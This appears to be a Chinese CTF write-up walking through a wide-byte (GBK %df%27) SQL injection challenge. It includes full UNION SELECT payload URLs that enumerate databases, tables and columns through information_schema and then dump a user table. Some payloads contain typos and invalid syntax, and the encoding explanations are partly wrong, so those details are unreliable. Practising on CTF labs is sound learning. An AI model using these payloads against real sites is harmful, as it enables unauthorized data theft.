宽字节sql注入

看下题目
宽字节sql注入_第1张图片宽字节sql注入_第2张图片发现是很干净的页面,那就老办法,F12看看,能发现什么东西嘛
宽字节sql注入_第3张图片
提示我们是id=1,相当于提示我们存在注入点,那就试一下 数字型注入,也就是 id=1 and 1=1 然后 1=2,判断页面是否发生变化,如果发生变化,那就是数字型注入,如果不是,那就是其他类型的注入
宽字节sql注入_第4张图片宽字节sql注入_第5张图片
页面没有发生变化,这也就证明,该题目不是数字型注入。。
查了好多资料,才发现是宽字节注入,也就是gbk进行编码时,默认两个字节是一个汉字。。。

尝试用宽字节发现页面报错,那该题就是宽字节注入。。
宽字节sql注入_第6张图片
按照以前的思想,先判断他有几个字段。。。
宽字节sql注入_第7张图片宽字节sql注入_第8张图片发现是三个字段。。
然后查询一下看看能发现什么
/index.php?id=15%df%27%20union%20select%201,2,3%23
宽字节sql注入_第9张图片
select 1,2,3的作用,就是那个页面可以显示我们想要的内容。。
在这里插入图片描述
我们发现该题在2,3页面可以显示我们想要的内容…

然后我们按照老步骤,第一步,先查询出flag在那个数据库中数据库
第二步:在查询出在该数据库中的表,第三步:在把表中的内容查询出来。。

第一步:查询数据库

id=1%df’ union select 1,group_concat(0x3a,schema_name),3 from information_schema.schemata %23(%23前边没有空格)
宽字节sql注入_第10张图片
查询出数据库,然后我们在数据库下,查询出表
这里说说一下
group_concat() 该函数是,显示你要查询里边的所有内容,就比如information_schema该数据库中所有的内容是上图所示
0x3a是在gbk编码中显示,他的意思是冒号
第二步:
宽字节sql注入_第11张图片
index.phpid=2%df%27%20union%20select%201,group_concat(0x3a,table_name),3%20from%20information_schema.tables%20where%20table_schema=0x6D79646273%23
第三步:
index.php?id=2%df’union select,1,group_concat(0x3a,column_name),3 from information_schema.columns where table_name=0x7361655F757365725F73716C6934%23
宽字节sql注入_第12张图片
可以发现我们查询出在sae_user_sqli4表下,然后我们在查询在三个字段下有什么内容
还是用group_concat()
我们查询的是mydbs这张表,一般flag都在该数据库下
0x7361655F757365725F73716C6934 这是16进制的gbk编码 翻译过来就是sae_user_sqli4

然后把该三个字段中的内容查出来
index.phpid=2%df%27%20union%20select%201,group_concat(id,0x3a,title_1,0x3a,content_1),3%20from%20sae_user_sqli4%23
在这里插入图片描述成功!!!

说一下 这个什么时候gbk需要转码, 在where查询时,后边跟着条件中,比如跟着数据库的名称:mydbs 这时把mydbs转化为gbk编码。。。

在这里我就不讲宽字节注入的原理,自己去网上查一下。。

你可能感兴趣的:(安全,CTF)